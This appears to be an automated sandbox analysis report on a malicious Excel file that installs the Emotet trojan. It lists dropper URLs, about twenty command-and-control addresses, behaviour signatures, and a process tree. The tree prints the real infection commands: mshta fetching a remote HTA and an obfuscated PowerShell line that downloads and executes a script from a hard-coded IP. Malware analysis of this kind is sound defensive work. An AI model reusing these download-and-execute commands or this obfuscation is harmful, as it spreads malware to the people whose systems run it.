Analysis
- max time kernel
132s - max time network
161s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
28/01/2022, 16:58
General
- Target tmp_q5e9qcs.xls
- Size 84KB
- Sample220128-vg1e9sgghp
- SHA256 b2050cc62272dc18d372fb18dfbedc034ca9d04bd0cbff10895bd34cca2a658d
Malware Config
Extracted
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hta
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hta.dropper
http://91.240.118.172/gg/ff/fe.html
Extracted
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ps1
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ps1.dropper
http://91.240.118.172/gg/ff/fe.png
Extracted
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emotet
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Epoch4
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160.16.102.168:80
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131.100.24.231:80
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200.17.134.35:7080
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207.38.84.195:8080
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212.237.56.116:7080
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58.227.42.236:80
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104.251.214.46:8080
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158.69.222.101:443
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192.254.71.210:443
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46.55.222.11:443
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45.118.135.203:7080
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107.182.225.142:8080
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103.75.201.2:443
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104.168.155.129:8080
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195.154.133.20:443
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159.8.59.82:8080
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110.232.117.186:8080
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45.142.114.231:8080
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41.76.108.46:8080
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203.114.109.124:443
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 6 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp_q5e9qcs.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.172/gg/ff/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Koguiatopmxsizt\iwxpkqdwq.qfx",xfBAl8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Koguiatopmxsizt\iwxpkqdwq.qfx",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3568 -s 16524⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2784-665-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-119-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-131-0x00007FFEC4A30000-0x00007FFEC4A40000-memory.dmp
memory/2784-132-0x00007FFEC4A30000-0x00007FFEC4A40000-memory.dmp
memory/2784-669-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-667-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-668-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-122-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-118-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-120-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/2784-121-0x00007FFEC7750000-0x00007FFEC7760000-memory.dmp
memory/3216-634-0x0000000004840000-0x0000000004865000-memory.dmp
memory/3356-635-0x0000000004D20000-0x0000000004D45000-memory.dmp
memory/3356-622-0x0000000000FE0000-0x0000000001005000-memory.dmp
memory/3356-627-0x0000000004A80000-0x0000000004AA5000-memory.dmp
memory/3356-629-0x0000000004AE0000-0x0000000004B05000-memory.dmp
memory/3356-631-0x0000000004B40000-0x0000000004B65000-memory.dmp
memory/3792-617-0x0000000000F30000-0x0000000000F55000-memory.dmp
memory/3972-646-0x00000000054A0000-0x00000000054C5000-memory.dmp
memory/3972-637-0x00000000033D0000-0x00000000033F5000-memory.dmp
memory/3972-649-0x0000000005580000-0x00000000055A5000-memory.dmp
memory/3972-653-0x0000000005660000-0x0000000005685000-memory.dmp
memory/3972-666-0x0000000005740000-0x0000000005765000-memory.dmp
memory/3972-671-0x0000000005920000-0x0000000005945000-memory.dmp
memory/3972-673-0x00000000059A0000-0x00000000059C5000-memory.dmp
memory/4064-344-0x00000141ABBC6000-0x00000141ABBC8000-memory.dmp
memory/4064-309-0x00000141AC2A0000-0x00000141AC316000-memory.dmp
memory/4064-298-0x00000141ABDA0000-0x00000141ABDDC000-memory.dmp
memory/4064-287-0x00000141ABBC3000-0x00000141ABBC5000-memory.dmp
memory/4064-286-0x00000141ABBC0000-0x00000141ABBC2000-memory.dmp
memory/4064-277-0x00000141ABD00000-0x00000141ABD22000-memory.dmp